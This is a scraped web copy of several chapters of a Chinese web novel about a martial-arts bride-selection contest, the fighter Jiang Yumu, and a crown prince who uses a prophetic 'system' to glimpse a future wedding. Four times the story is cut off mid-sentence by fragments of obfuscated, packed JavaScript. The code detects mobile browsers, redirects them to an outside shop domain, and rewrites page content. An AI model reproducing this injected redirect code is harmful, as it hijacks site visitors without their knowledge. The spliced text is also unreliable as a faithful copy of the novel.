陶瑛正要说什么,就看到江御暮从书铺走了出来,手里还拎着一圈银光,看不清是什么。 直到她在擂台上站定,手一松,银圈软软往下一垂,原来是一条九节鞭。 围观诸人见状都很意外,纷纷议论起来。 “她怎么还拿着兵器啊?是不是怕了陆壮士?” “嘁,输不起吧……” “我看呐,就算陆壮士空手跟她打,也一定能赢!” “就是就是,这钱呐,咱们赚定了!” 今日仍由费红英镇场,她一声“肃静”,台下的议论声便停住了。 在众人的注视下,她依例喊道:“第一位,陆一峰,陆公子何在?” 喊完又觉得怪怪的。陆一峰都三十二岁了,称其为公子实在有些勉强。 好在没人关注这些细枝末节,大家都等着看这场对决的另一位主角亮相呢。 “陆一峰在此!”他高声应道。 众人循声望去,只见一身着褐色劲装的魁梧男子迈步上台,从身后抽出一把长刀,刀尖触及地面,看上去颇有分量。 台下人这才讪讪道:“哦,合着他也带了兵器啊……” 旁边还有人欣喜道:“这不是更好了吗?陆壮士得胜的机会更大了啊!” 昨日江御暮提前说过,让陆一峰不必放水,两个人认真打一场,她有信心能堂堂正正地赢。 此刻二人不多废话,跟彼此交换一个眼神后直接开打。 九节鞭一舞起来就让人眼花缭乱,台下围观的人大多不曾习武,看不明白战况,只能一个拉着一个瞎问:“怎么着这是?谁占上风啊?” 同样的问题,陶瑛也问了穆归衡。 穆归衡双眼紧盯擂台,几乎眨也不眨,半晌才答一句:“旗鼓相当。” 陶瑛似乎对这个答案不太满意,每过几个回合就要再问他一遍。 “现在呢?” “现在怎么样?” “有变化吗?” 穆归衡也不厌其烦地回答着—— “旗鼓相当。” “旗鼓相当。” “旗鼓相当。” 如此回答七八遍,台上已过了四十余招,陶瑛终于忍不住了,轻拍桌面问道:“你就没点别的词了?太傅没教过不分上下、势均力敌、棋逢对手、平分秋色吗?” 林晏秋附耳逗她道:“平分秋色用在这里不太对吧……” 陶瑛拍她一掌,正要发作,就听穆归衡的声音忽然紧张起来:“有机会!” 她反应了一瞬,连忙又往楼下看。 只见江御暮对准陆一峰的脑袋甩出长鞭,速度极快,力道也极大,倘若对方躲得晚些,定然落得个脑袋开花的结局。 好在陆一峰反应很快,上半身向后一仰,避开鞭打的同时将刀柄底端顶在地上,稳稳支住身子,顺势把刀向外一挥,背齿便卡住了九节鞭的连接处。 惯性使然,外端四五节鞭身直接缠上了长刀,结构如一团乱麻,难以松解。 台下立时传来一片叫好声,许多人都在为陆一峰喝彩。 “哈哈,她的鞭子废了!” “速战速决!陆壮士快点啊!” “老天保佑,老天保佑,这次让我把上个月赌输的钱全给赢回来吧!” 他们仿佛都提前判断出了这场对决的胜负,只等陆一峰一锤定音。 穆归衡却收回目光,向陶瑛问道:“赌坊给你开的票据呢?” 陶瑛此刻都快把心提到嗓子眼了,哪有工夫跟他闲聊,于是连头都没回,直接从袖中抽出一沓厚纸向后拍在桌上:“拿去拿去!” 穆归衡拿起最上面一层写着“第二日,第一场,江胜陆败,十注”的票据,用空瓷杯压着放在一边,笃定道:“这一场,你已经稳赚了。” 他话音才落,陆一峰便用双手抡起长刀,使足了十成力气,九节鞭连着江御暮整个人都被带向半空,仿佛下一刻便会狠狠摔在地上。 千钧一发之际,赌客们提前预备好了欢呼声,一字一句都堵在嗓子眼里,迫不及待想往外喷。 只可惜,江御暮要让他们失望了。 一眨眼的工夫,她便借着陆一峰抡刀的力道空翻半圈,一脚踢在了他肩上,同时甩出未被缠缚的四节鞭身,牢牢锁住了陆一峰的咽喉。 陆一峰毫无挣扎的余地,因为他的长刀早就与半截鞭子合为一体了,此刻刀刃已经被另外半截鞭子带到颈侧,稍有不慎就要见血。 台下一片静默,似乎需要好好反应一时半刻,才能确认谁胜谁负。又或者是他们已经看出了结果,却迟迟不愿接受现实。 砰! 费红英敲响铜锣,算是彻底打碎了多数赌客们的发财梦。 “第一场,江小姐胜!” 欢呼声与喝彩声自然是有的,只是输掉赌局的人实在太多,或悲或怒的叫喊声一时不绝于耳。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496590|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “怎么会这样?!” “算命先生明明说过……” “完了,都完了!我回去可怎么跟爹娘交代啊!” 江御暮上前帮陆一峰解开九节鞭,听见他轻声道:“多谢江小姐,末将输得心服口服。” 常言道,有人欢喜有人愁,反之亦然。 陶瑛见江御暮获胜,终于长出一口气,转而向穆归衡问道:“你方才怎知御暮一定会赢?” 穆归衡蘸着茶水,在桌上勾勒出九节鞭的形状,答道:“她方才向陆一峰的头部甩出鞭子,看似冒进,实则只是佯攻。陆一峰判断失误,情急之下用刀身去牵制长鞭,应该只是想向外挡开攻击,争取一次喘息的时间,却不料掉进了御暮有意设下的陷阱。旁人只以为她的鞭子废了,岂不知陆一峰的长刀也废了?抽不出,挣不脱,若还想出招,只能使蛮力去抡,反而给了御暮借力打力的机会。” 陶瑛来了兴致,追问道:“若换了你是陆一峰,能躲开方才那个陷阱么?” 穆归衡摇摇头道:“不好说。当局者迷,旁观者清,若是易地而处,本宫也未必能及时做出准确的判断。说起来,方才本宫也是在看到他的刀被缠缚以后,才发觉那是个陷阱。” 解释完这些,三人忽然陷入了一片沉默。 陶瑛低着头,将十张票据摊在桌上,挨个用茶杯压住,心道:御暮竟有如此本事,看来我下的这一百注都能赚了。只是这钱赚得……怎么让人心里空落落的呢? 林晏秋则一手托腮,偏头看着擂台的方向,心道:明明是个厉害人物,为何只能在一方比武招亲的擂台上施展呢?可惜,当真可惜。 穆归衡的目光空垂着,不知在看哪里,也许是桌上逐渐被风吹干的茶画,也许哪里都没有看。 在他们还是朋友的时候…… 或者说,在穆归衡以为自己和江御暮是朋友的时候,他自认为还算了解对方。 他知道她来自何方,知道她留在这里的原因与决心。 他知道她有很多朋友,还误打误撞认识了其中年纪最小的一个。小姑娘很怕他,但是为了救御暮姐姐,她还是会鼓足勇气,一把鼻涕一把泪地求助于他。 他知道她胆子大,敢冒险。亲眼见到刘俭的尸体也毫无惧色,孤身一人与安王穆归礼斗智斗勇也不落下风。 有时候,他会欣喜于自己与她之间的默契。湖心诗会那日,他们事先未经商议,便在一众士子面前唱好了红白脸。初见飞鸿影之时,他们也能彼此配合,试探出此人存有异心。 可是此时此刻,他却产生了一种错觉,好像自己从来没有认识过江御暮其人。 或者说,从来没有真正了解过她。 他不知她对婚姻之事到底有什么想法,是否真心愿意比武招亲? 他不知她会喜欢怎样的男子,抑或有可能与林晏秋一样,不爱须眉爱红颜? 他不知她如何练就了这样一身好武艺,在此过程中吃过多少苦,受过多少罪,靠何种信念坚持至今? “系统。”穆归衡难得主动找它一次,“我能观测从前发生过的事吗?” 系统的声音没有波澜:“不可。” 虽然得到这个答案并不意外,但穆归衡还是有些失望。 桌面上的茶画已经干透,茶渍深一块浅一块,构不成一幅完整的画面。 穆归衡怔怔地出了半晌的神,心里忽然冒出来个想法。 不,不是忽然,这个想法一直都在,只是此前被他深深埋在心底,此刻才探出一叶小芽—— 今晚入梦,他想尝试观测江御暮成婚时的场景。 看完这次,以后便彻底死了心吧。 49. 求相见李节有夙愿,初交手御暮无保…… 这天下午,江府又迎来了一位新客人,也是来自荐参加次日比武的。 “在下姓李,单名一个节字。这是在下的名帖,有劳江公子过目。” 江连镜走近两步,接过名帖的同时注意到李节的身量不算太高,目测比江御暮矮一寸多,难免对此人不太满意。 于是他随口应付一句:“知道了,兄台先请回吧。” 李节却没有离开,而是拱手一揖道:“请恕在下唐突,公子可否即刻便将此名帖转交于江小姐?在下有个不情之请,希望能求见江小姐,与她当面详谈。” 得,瞧这架势,估计和昨日的陆一峰一样,又是来托人办事的。 但是陆一峰好歹对江御暮有着“救命之恩”,且不论真假,至少明面上有个合理的说辞。 可他李节又是从何门而出?打何路而来?凭什么一出现就带着个“不情之请”? 如此一想,江连镜对李节的印象又坏了几分,随便找个借口敷衍拒绝道:“我姐姐待字闺中,李兄身为外男,怎可贸然求见?” 李节面上一红,急忙解释道:“江公子误会了,在下与江小姐同为女子。今日求见虽是有些突然,但……应该不算特别失礼吧?” “啊?”江连镜一怔,这才多看她两眼。 李节分明作男子打扮,长发在头顶单成一髻,两边耳垂都不曾穿洞。因上衣立着高领,乍一看还真不好判断有没有喉结。 不过她方才表明身份时,讲话未作伪装,听着确实是个姑娘的声音。 江连镜这回一开口就变了结巴:“你、女子、那、那怎么求娶……不是、啊?” “不不不!”李节连忙否认,“江公子又误会了,在下虽有求于江小姐,但与婚姻之事无关。” 江连镜心道:那还能是什么事?总不会也是想靠赌局赚钱吧? 既然李节是个女子,他也不好冷脸相对,只能退一步道:“也罢,我这就帮你把名帖送进去。不过接下来的事,我就帮不到你什么了,都看我姐姐的意思。” 李节朗然一笑:“多谢江公子。” 江连镜摆摆手便走了,一路上越想越好奇,直到把名帖交给江御暮,讲清了事情的来龙去脉,才终于忍不住问道:“你认识这个李节吗?” 江御暮慢悠悠摇头道:“毫无印象。” “那就怪了。”江连镜摸着下巴,作苦思状,“她一陌生人,又是女扮男装,又是自荐比武,到底想干什么呢?” 江御暮用手指轻描名帖上的“李节”二字,似乎也被引出了些好奇心,说道:“带她进来吧。此人究竟有何事相求,待我一问便知。” 江连镜领命而去,不多时就带人去了前院正厅。 李节抑不住心中喜意,连这一路上的步伐都有些雀跃,直到见了江御暮才恢复几分沉稳之态 “李节姑娘。”江御暮对她微微一笑,透着些疏离,“咱们不妨省去那些客套寒暄,直奔主题吧。” 李节也是个爽利人,笑着点点头,直言道:“不瞒江小姐说,其实是陆大哥激我来找您的。” 江御暮反应了一瞬,发问确认道:“陆一峰?” 李节快速点点头,有些不好意思道:“我从十六岁起就想做城防兵了,可是陆大哥始终不肯招我进去。我缠了他足足七年,什么办法都想尽了,今日才终于等到他松口!” 江御暮眸光一动,若有所思道:“他同意了?” “不算同意,只是给了我一点念想。”李节轻叹着摇头道,“今早陆大哥从比武招亲的擂台上下来以后,对您深为敬服。所以,他就想了个损招,打算用您来吓退我。” 江御暮失笑:“此话怎讲?难道……只要你打败了我,他就同意招你做城防兵?” “不,那倒不是。”李节憨笑着摆了摆手,“连陆大哥自己都打不过您,他怎么好意思给我提这种难如登天的要求啊!” 她顿了顿,收起笑容正色道:“陆大哥承诺了,只要我能扛过您三十招,不论结果是胜是败,他都会实现我这个愿望。” “三十招。”江御暮轻声重复一遍这个标准,心道陆一峰也真敢说,他自己也才过四十余招便落败了,若换成他手下那些大头兵,估计顶破天也就扛她二十余招。 怪不得李节说这是个损招呢,陆一峰应该与她极为相熟,认准了她达不到这个标准,所以才会松口许下承诺。 也许在他看来,这个明显过高的标准足以让李节知难而退吧。 “你有信心么?”江御暮问。 “我知道,陆大哥是故意难为我。”李节摇摇头,垂首道,“今日贸然上门,我只是想求一个上台攻擂的机会,不论结果如何,我都要把自己的决心证明给他们看。” “他们?”江御暮问。 李节并不隐瞒,答道:“他们——一个是陆大哥,另一个是我亲哥。” 江御暮颔首,终于问出了心中盘旋已久的那个问题:“你是李义的妹妹吧?” 李义,是和陆一峰一起“救下”她的另一名城防兵。 李节一惊:“您还记得我哥哥?” 江御暮听到这个答案,便知自己猜得不错,微笑道:“救命之恩,怎敢忘怀。” 那日佯装昏迷之际,她曾听见陆李二人的对话。 彼时陆一峰正在发愁,不知该如何带她去见太子,半晌感叹一句:“唉,咱们队里要是有个女兵就好了。” 李义紧接着便提起了他的妹妹,说她为了在城防营里谋个差事,堪称奇招频出,其中便包括女扮男装一项,奈何陆一峰就是不收人。 没想到兜兜转转,她们两人竟在这样的机缘下相见了。 江御暮转头看向江连镜,吩咐道:“把明日攻擂的名单改一改,让李节姑娘头一个上阵。” 江连镜应一声“好嘞”,便去准备了。 李节对江御暮谢了又谢,不敢多打扰她,正要起身告辞,却被她拦住。 “你明日打算使什么兵器?”江御暮问。 “长刀。”李节不假思索道,“城防兵用的大多是这个,所以我自小学的也是这个。” 江御暮点点头,起身向门外走去,路过她时留下一句:“跟上。” 李节一愣,没有多想便跟了上去,随她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514704|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路走到内院。这里很清静,只有一名护卫守着院门。 “时异。”江御暮唤他过来,“去东厢房给这位公子找一柄长刀。” 时异领命而去。李节暗自思忖着:江小姐在此人面前称我为“公子”,看来我得配合好了,不能让他看出来我是女子。 时异很快便完成了任务,带着一柄长刀回到院内。把刀交给李节后,他用眼神询问江御暮的下一步指示,继而又去院门外守着了。 李节正在犹豫要不要询问江御暮此举何意,对方却主动抛来了问题。 “李公子,若由你来为我挑一样兵器,你觉得挑哪一样才能给你自己带来更多优势?” 李节仔细想了想,不太确定地半问半答道:“唔……匕首?或短剑?长刀的优势便是长度,在这一点上,匕首和短剑都容易被克制。” 江御暮先点点头,又摇摇头:“正因如此,我若用匕首或短剑来与你对阵,岂不容易被陆一峰看出来我有心放水吗?” “放水?”李节不敢置信地睁大了眼睛,“您的意思是——” 难道,江小姐有心成全她的夙愿? “嘘——”江御暮在唇边竖起一根手指,“能不能抓住这个机会,还要看你自己的实力。” 李节连连点头,生怕她反悔似的,赶忙作出第二次回答:“若要保证我能发挥长刀的优势,还不被旁人看出您在放水,不妨用……双锏?呃,空心的那种?” 双锏虽短,却很有分量,若是实心的,往人脑袋上砸一下铁定能开瓢。一部分初学者会用空心的双锏练手,看着一样唬人,实际威力却减轻了不少。 江御暮被她小心翼翼的样子逗笑了,抱臂道:“我不会使双锏,换个差不多的陪你练练吧。” 语毕转身进屋,很快便带回一对短剑来,两把剑都只有一尺来长。不过数量占优,落不下故意放水的口实。 “准备好了么?”江御暮问。 李节紧张地舔一舔嘴唇,即刻认真起来,持刀对准她道:“好了。” 江御暮略一眯眼,率先出招。 李节很有两把刷子,反应极快,一连躲开她几击,胶着几合,直扛到第二十一招才被一柄短剑抵住脖颈。 她有些失落,自嘲般扯了扯嘴角,似乎想露出一个笑容,却只摆出一个怪表情:“果然啊……” 江御暮没有放下她颈边的短剑,直接发问:“方才那招,你错在哪里?” 李节回忆片刻,答道:“被你的身法误导,错以为你要攻我下盘。” “还有呢?”江御暮又问。 李节有点慌,只能先深呼吸几次,努力让自己平静下来,不太确定地问道:“我……出刀慢了?” “你太犹豫了。”江御暮一认真起来,声音就没了素日的温柔,“有什么可犹豫的?怕伤着我么?” 李节张了张口,什么也没说出来。 江御暮放下短剑,站回方才的位置上,冲李节扬了扬下巴。 “再来。” 她微微眯眼,带着师长审视学生的目光。 “这一次,别再犯同样的错误。” 50. 江御暮透题留余地,穆归衡激将跨…… 第二次交手时,李节发现江御暮出招的动作和顺序都与第一次相同。惊讶之余,也明白了她所说的“放水”是怎么个放法。 大约可以类比为……科举中的“透题”吧? 江御暮把她使用何种兵器、采用何种战术、甚至每一招用什么动作都事先告诉了李节,还亲自陪她演练。 第二次,李节止步于二十三招,比前一次进益了些。 “这次,你错在哪里?”江御暮问。 李节回忆片刻,答道:“我太心急了,还未蓄足力气便出了刀。” “嗯,再来。” 第三次,李节一口气撑到了二十七招,比上一次进步更大,距离最终的目标也更近了些。 “错哪了?”江御暮简略问道。 李节在她发问之前就思考出了答案,气喘吁吁道:“体力不太够了,以至于眼高手低,出招达不到最理想的效果。” 江御暮点点头,宽慰道:“咱们练了这么久,你体力不济也属正常。今日回去好好休息,明日擂台上见吧。” 李节略显错愕:“这便结束了吗……” 可是,她才练到第二十七题,若想通过考验,须得连续做对三十题才行啊! 江御暮上前两步,帮她理了理额前的乱发,轻声道:“自信点,哪里就那么难了?” 以她的资质,不愁通不过明日的考验。 李节微微一怔,继而重重点头道:“嗯,多谢江小姐。” 夏日的天总是黑得晚,赤霞便烧得更久些。暖融融一片映在她的眸子里,比湖水还透亮几分。 此刻原未到就寝的时间,穆归衡却已经睡下了。 因他有心隐瞒,来去无踪,整座太子府里竟无一人知晓他今日出过门,还当他身体又不大好了,补完大半日的觉,起来用过膳便又睡下了。 然而他在床上躺了许久,迟迟没有闭上双眼,等得连系统都有些不耐烦了。 “今早观战时,你不是早已定下了今晚的观测对象么?现下又拖延个什么劲?” 是啊,他在拖什么呢? 抑或应该说,他在逃避什么呢? 穆归礼心里其实隐约有个答案,可他偏偏不愿深想,宁愿这么糊涂着。 可是系统偏不遂他的愿,非要捅破了这层窗户纸。 “你是不敢看吧?”它的声音似戏谑又似轻鄙,“你怕的是什么?是看到她欢欢喜喜地与旁人成婚,面上毫无抗拒或遗憾之色?还是看到她被迫嫁与草莽匹夫,盖头未揭,珠泪已垂?” 穆归衡被它烦得闭上了眼,用心声道:“激什么将?此事与你何干?” 系统卡了一下,低声回道:“关于江家招婿一事如何收场,老夫也好奇得紧嘛,自然想早些知道答案了……” 听这口气,还真像在市井间嗑瓜子聊闲话的寻常小老头。 穆归衡忽地睁开眼,问它:“你想知道答案,自己私下去观测便是了,烦我作甚?” 系统的声音又小了几分,似乎不太愿意回答这个问题,但在经过一番斟酌后,还是告诉他:“老夫虽然有此本领,却无法肆意滥用。唯有得到宿主的指令,才能一展神通。” 穆归衡越听越觉得古怪:“你到底是什么?是妖、是鬼、是精、是怪?” 系统不出声了。 穆归衡静等许久,它仍然毫无回应。 是它不愿回答吗? 还是连它自己也说不清楚,它究竟是什么呢? 穆归衡重新闭上眼,准备入睡,系统不得不出声询问,只是声音又恢复到平静无波的状态,少了些人味:“是否使用任务奖励【观测】,剩余可使用次数为八十九次。” “使用。” “请选择你要观测的场景。” “江御暮……成婚时的场景。” 指令一下,穆归衡便沉入一片混沌梦境。 入耳是杳远的丝竹乐声,喜气洋洋,奏乐之人仿佛永远不知疲倦。 触目是大片的金赤二色,整间寝殿被数以百计的龙凤花烛照得亮如白昼。 等等,寝殿? 穆归衡忽地反应过来,这里分明是他自己的寝殿。 来不及多加思考,他已经看到了江御暮的身影。 她身着一袭大红喜服,用金线绣着上百种吉祥纹样,分明是太子妃的服制。 可是……怎么会呢?他们不是已经说好不再与彼此相见了么? 难道是皇帝执意插手,搅黄了她的比武招亲? 大脑一团乱麻,穆归衡只能继续往下看。 江御暮独坐在寝殿内,百无聊赖地哼着歌。他听不出那是什么曲子,只觉得与殿外的丝竹乐声格格不入,但也是好听的。 少倾,哼唱声戛然而止,江御暮忽地掀起红盖头,警惕地抬起头,朝天花板的方向看去。 那里有什么? 穆归衡没有得到答案,江御暮很快就放下了盖头,端坐如常,彻底安静了下来。 是的,彻底安静,连殿外的丝竹乐声都消失不见了。 紧接着,穆归衡看见自己推门而入。 梦中的“穆归衡”手握金镶玉秤秆,一袭赤色喜服与江御暮极为相称,脸上却比她多一份微醺的轻浅红晕。 他关上门,也抬头看了看天花板,似乎没看出什么异样,接着便朝江御暮走去。 “穆归衡”没有挑开她的盖头,先在她身边坐了下来,柔声问道:“你方才哼的是什么曲子?” 江御暮闻言扭头看向他,红盖头一如少女雀跃的裙摆,在她肩上旋出一朵花来。 “你怎知我方才哼了段曲子?”红盖头遮住了她的面容,却掩不住她话音里惊奇的笑意。 而“穆归衡”也毫不讳言:“我梦到过此刻的场景。” 江御暮稍微反应了一会才接着问:“那我在你的梦里是如何回答方才那个问题的?” “穆归衡”把秤杆放在一旁,直接用双手掀开了她的盖头,看着她的眼睛答道:“你说它叫婚礼进行曲,作曲家……呃,总之很有名就是了。” 这个答案让江御暮很是惊喜,也让他如愿看到了她的笑颜。 “既然你已经知道了,为什么还要问我啊?”她问。 “穆归衡”也笑了:“我现在不问,当时又怎么能梦到答案呢?” “哦——”江御暮思索一瞬,“是这个理,那我再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533851|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正式回答一遍吧。” 她清了清嗓子,正要开口,却又顿住了,向他问道:“对了,你做梦的时候,大概处于何种视角?” “穆归衡”站起身,一边回忆一边环顾四周,不断调整位置,最后站在了一扇窗户旁边。 与此同时,他已经走出了穆归衡梦中的视线范围。又或者,未来的他正站在此刻的他所处的位置上,即将重温这个难辨虚实的美好梦境。 “就在此处。”他说。 此时二人相隔一丈多远,江御暮微微转过身,直视着他问道:“如果我现在蒙上你的眼睛,你在梦里的视线会受到影响吗?” “穆归衡”没有正面回答,只道:“你可以试试。” 江御暮垂眸思索一霎,将狡黠之态藏入眼底,起身走到“穆归衡”近前,把红盖头戴在了他的头上。 “在你的梦里,我也这么做了吗?”她问。 “穆归衡”点点头,没有说话。红绸盖头密不透光,他看不到江御暮的表情,更看不到她接下来的举动。 “方才那首曲子是婚礼进行曲,作曲家名唤门德尔松。” 她终于想起回答这个问题,对着未来的他,答给此刻的他听。 作出回答后,她忽又不确定起来,喃喃自语道:“欸,是叫门德尔松吧……还是柴可夫斯基来着?那么多年过去了,这谁还记得请……” 既然记不清,她便也不想了,干脆一句话糊弄过去:“总之,很有名就对了!” “穆归衡”又点了点头,仍然一言不发。 盖头只能蒙住他此刻的双眼,却无法遮挡他观测梦境时的视野。 因着距离一步步拉近,此刻大半画面都被江御暮占据。 她和他透过红绸的阻隔对视,他和她消弭时空的距离对视。 “你的心跳好快。”她说。不知是对未来的他,还是此刻的他。 这次“穆归衡”不再沉默,坦言道:“因为终于确认了这个梦是真的。” 江御暮帮他掀开盖头,轻声问:“除了这些,你还梦到什么了?” “穆归衡”没有即刻回答,而是拉着她走开两步,站到了梦里的画面中心。 “你这是要做什么?”江御暮问。 “激将法。”他说。 “激谁?” “正在梦中看着咱们的那个‘我’。” “为何激他?”江御暮不解。 “因为他胆子太小,若不激一激,只怕一辈子都不敢向你提亲。” 江御暮失笑,不由更加好奇:“你打算如何激他?” “穆归衡”绕行几步,从身后抱住江御暮,吻一吻她的耳后,看着窗户的方向提议道:“你骂他几句吧。” “骂什么?”江御暮回头看他。 “就骂他胆小如鼠,瞻前顾后,杞人忧天……”他一一帮她列举。 江御暮笑意盈盈:“你自己心里都清楚,还用得着我骂呀?” “穆归衡”叹了声气,把脑袋靠上她的肩膀,如撒娇般说道:“可我那时候就是当局者迷嘛……” 江御暮摸一摸他的脑袋,扭头看向窗边,意味深长道:“不着急,慢慢来。” 51. 穆太子省悟旧宿命,林堂弟自明真…… 梦境戛然而止,穆归衡辗转反侧,琢磨了一整晚也没厘清思绪。 以至于次日一早起来,他的眼下都泛起了淡淡的乌青色。 石涅见了,心中暗自诧异道:怎么回事?殿下一日接一日地补觉,竟还是睡不够么? 正腹诽着,就听穆归衡问起:“国师设宴那日,父皇留下的圣旨收在哪了?” 皇帝私下嘱咐过穆归衡,只要他改变心意,愿意纳江御暮为太子妃,便可以随时请出这道圣旨。 “回殿下,收在您的书房了。”石涅掩不住眉眼间的欣喜,“您需要的话,卑职这便去取!” 只要请出这道赐婚圣旨,他和齐陌师兄打的赌不就能定输赢了吗? 石涅满心期待,恨不得背后生出两扇翅膀,飞去把东西取来。 穆归衡却摇了摇头,道出使他万分失望之语:“不必了,本宫只是问问而已。” 既然江御暮让他“慢慢来”,穆归衡肯定不能行如此冒进之举。 昨夜的梦境还不知多早晚才能成真,眼下最重要的当为重新拉近二人之间的关系。 毕竟上次分别时,他已经把话说绝了,还杜撰出了个系统任务横在二人中间。若要走通这条回头路,就得先把这个谎言戳破。 想到这里,穆归衡甚至有点生自己的气了。当然,气的是未来那个穆归衡——明明知道自己在看他,为何不多给些有用的提示?哪怕说一句彼时是何年何月,让自己心里有个数也好呀! 现在可好,梦境一散,他两眼一抹黑,手中更是一条线索也无,当真令人发愁。 穆归衡这厢生了半晌闷气,渐渐的又开始觉得好笑,跟自己置什么气呢?真傻。 “随本宫出门一趟。”他扭头对石涅说道。 石涅许久没事做了,整日里闲得骨头都发痒,想出门探探消息,又不敢擅自离府。眼下终于得了个差事,可以出门逛逛,自然求之不得。 “是!”他轻快一应,连忙跟上脚步,同时问道,“殿下是要去上早朝吗?” 如果是就太好了!太子进宫以后,他便可以在宫外自由行动,只要掐准下朝的时间,在宫门口迎接太子便可。中间近一个时辰的空闲,说不定他还能去看看江御暮比武招亲的进展呢。 穆归衡却摇头道:“不去。” 除了安王穆归礼身上挂着吏部的官职,每日按时上朝以外,其他皇子都不曾涉足朝堂,身上更没背过一官半职。 太子的身份特殊些,皇帝看重他,却又不想放权给他,更忌讳他早早筹谋,与朝中重臣结党营私。 偏巧穆归衡还患着“怪病”,皇帝正好可以一展慈父风采,让他多在府中休养,不必每日早起上朝。 穆归衡自然乐得清闲。每日与那个神神鬼鬼的系统相伴已经够累了,他才懒得往自己身上揽事呢。反正在系统的预言里,此朝注定二世而亡,他只需在未来的某天坦然赴死,迎接亡国之君的悲惨结局即可。 不过……就他夜复一夜在梦中屡次验证的结果来看,这亡国之君的龙椅似乎已经换了个人坐。穆归礼求仁得仁,终有一日会登上他梦寐以求的至尊之位。 虽然不知为何会发生这样的变化,但是不得不承认,这对穆归衡而言是个天大的惊喜,让他卸下了压在心头的积年重担。 数日探索下来,穆归衡对系统预言能力的边界也逐渐有了猜想。 首先,它能观测到老皇帝、怀王与安王的死状。 其中老皇帝应当死得最早,不知何故,由安王穆归礼继承大统,成了新皇帝。新皇又在此后的某天夜里遇刺身亡,刺客便是“先太子”穆归衡。 至于怀王之死,穆归衡后来再次进入那个梦境,仔细观察了执刀女子的轻甲,确认它与本朝各类军士所穿的甲胄都不相同。若他没有猜错,她应当是所谓“逆贼”的一员兵士。她口中的“小殿下”则是贼首,也许在攻入京城之前,此人便已自立为王,故被称作殿下。 不过光凭这些梦境,还无法断定安王与怀王是谁先一步归西。 或许是安王,也就是未来的新帝先遇刺身亡?因他没有子嗣,皇位归属难以议定,各方势力相互倾轧,以至朝中大乱,逆贼趁机起兵谋反? 不,这不太合理。如果没有外乱,宫中一切秩序照旧,穆归衡可以轻而易举地潜入皇宫,却很难孤身刺杀皇帝,不被侍卫阻拦。 也就是说,更有可能是新帝未崩,叛乱先行? 逆贼攻入京城以后,势必分出几队人马闯进各个王府,铲除所有皇室宗亲。穆归衡再趁此时京中大乱,潜入皇宫手刃穆归礼? 如果是这样,安王与怀王的死亡时间一定不会相差太多。 那么,彼时的定王身处何方?如果与怀王一样,死在了那场针对旧宗室的大清洗中,为什么系统偏偏观测不到他的结局? 穆归衡记得很清楚,怀王死前,负责处决他的兵士曾经说过一句话:“小殿下吩咐过,怀王怎么死,都交由怀王妃选择。” 如果这不是孤例呢? 如果在同一时段,另有一名兵士站在定王身后,也对定王妃说了这样一番话呢? 穆归衡不知定王与他的王妃感情如何,但可以依据常理推断—— 如果他们感情甚笃,也许王妃会为他求情,留他一命; 如果王妃对他无爱亦无恨,也许会放弃左右他命运的权力,抑或让对方给他一个痛快; 如果王妃对他旧怨极深,也许会和怀王妃做出一样的选择,不让他轻易死去,而是以长久地折磨他为乐。 无论是哪一种情况,总之系统无法观测到定王之死。这是不是就意味着,定王并未死在那场乱局之中呢? 换言之,系统预言的时间界限,是否恰为这场乱局,亦即本朝最终宣告覆灭的时刻呢? 系统,亡国系统。 穆归衡此前为什么忽略了这个名称? 如果它存在的意义就是注视着本朝走向覆灭的结局,那么它如愿以后,又该何去何从? 是更换宿主,继续祸害下一个王朝的继承人吗?还是恩怨两清,就此消逝于茫茫天地间呢? 穆归衡有一种预感,答案正是后者。 只有这样才能解释它的观测能力为何时常失效,因为系统无法观测它自己“死亡”后的世界。 倘若真是这样,穆归衡就很有可能在那场朝代更迭的乱局中活了下来。 不论还能活多久,未来何去何从,至少他有机会摆脱旧的“宿命”。 穆归衡想起昨夜的梦里,未来的他曾说现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546589|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的他“杞人忧天”。 忧的是什么?不就是这团剪不断,理还乱的糟心事么? 